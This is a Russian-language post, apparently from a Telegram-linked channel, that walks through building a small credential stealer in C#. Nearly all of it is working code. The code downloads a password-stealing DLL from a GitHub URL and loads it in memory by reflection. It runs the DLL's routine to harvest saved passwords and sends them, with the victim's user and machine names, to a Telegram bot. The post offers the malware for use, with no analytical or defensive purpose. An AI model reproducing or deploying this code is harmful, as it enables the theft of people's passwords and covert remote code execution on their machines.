January 26, 2021
Динамическая загрузка DLL (пишем стиллер в 9кб)
Источник: t.me/Bureau121
Будем юзать пространство имен System.Reflections
Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля
public static byte[] GetLibrary()
{
byte[] dll = new byte[0];
string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll";
using (var client = new WebClient())
{
try {
dll = client.DownloadData(url);
} catch (WebException) {
Environment.Exit(1);
}
}
return dll;
}
Теперь напишем функцию GetPasswords которая
- принимает байты дллки
- загружает её
- вызывает функцию оттуда
- и возвращает пароли нам
public static string GetPasswords(byte[] dll)
{
// Загрузить дллку
Assembly asm = Assembly.Load(dll);
// Создать экземпляр
dynamic instance = Activator.CreateInstance(
asm.GetType("PasswordStealer.Stealer"));
// Получить функцию восстановления паролей из дллки
MethodInfo runMethod = instance.GetType().GetMethod("Run",
BindingFlags.Instance | BindingFlags.Public);
// Вызов метода восстановления паролей
string passwords = (string)runMethod.Invoke(
instance, new object[] { });
// Возвращаем пассы
return passwords;
}
Функция UploadReport будет отправлять пароли в телегу
C#:
public static bool UploadReport(string passwords)
{
string report = quot;*New report*\n" +
quot;*UserName:* {Environment.UserName}\n" +
quot;*CompName:* {Environment.MachineName}\n\n" +
quot;*Passwords:* \n{passwords}";
string telegram_api = "https://api.telegram.org/bot";
using (var client = new WebClient())
{
try
{
string response = client.DownloadString(
telegram_api + "<TOKEN>" +
"/sendMessage?chat_id=<CHAT_ID>"+
"&text=" + report +
"&disable_web_page_preview=True" +
"&parse_mode=Markdown"
);
return response.Contains("\"ok\":true,");
}
catch (WebException)
{
return false;
}
}
}
И главная функция
C#:
static void Main()
{
// Это надо для правильной отправки
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
| SecurityProtocolType.Tls11
| SecurityProtocolType.Tls12
| SecurityProtocolType.Ssl3;
byte[] dll = GetLibrary(); // Скачать байты dll
string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей
UploadReport(pwd); // Отправляем пароли боту Telegram
}
January 26, 2021, 09:44
0 views
0 reactions
0 reposts